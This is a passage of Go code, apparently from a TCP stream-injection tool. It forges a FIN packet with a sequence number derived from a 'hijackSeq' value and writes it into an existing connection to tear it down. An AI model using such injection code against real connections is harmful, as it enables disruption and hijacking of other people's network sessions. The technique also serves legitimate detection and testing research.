tcp.SYN = false tcp.ACK = false tcp.Seq = uint32(tcpassembly.Sequence(hijackSeq).Add(2)) err = streamInjector.SetIPLayer(ip4) if err != nil { panic(err) } streamInjector.SetTCPLayer(tcp) err = streamInjector.Write() if err != nil { panic(err) } log.Print("FIN packet sent!\n") } }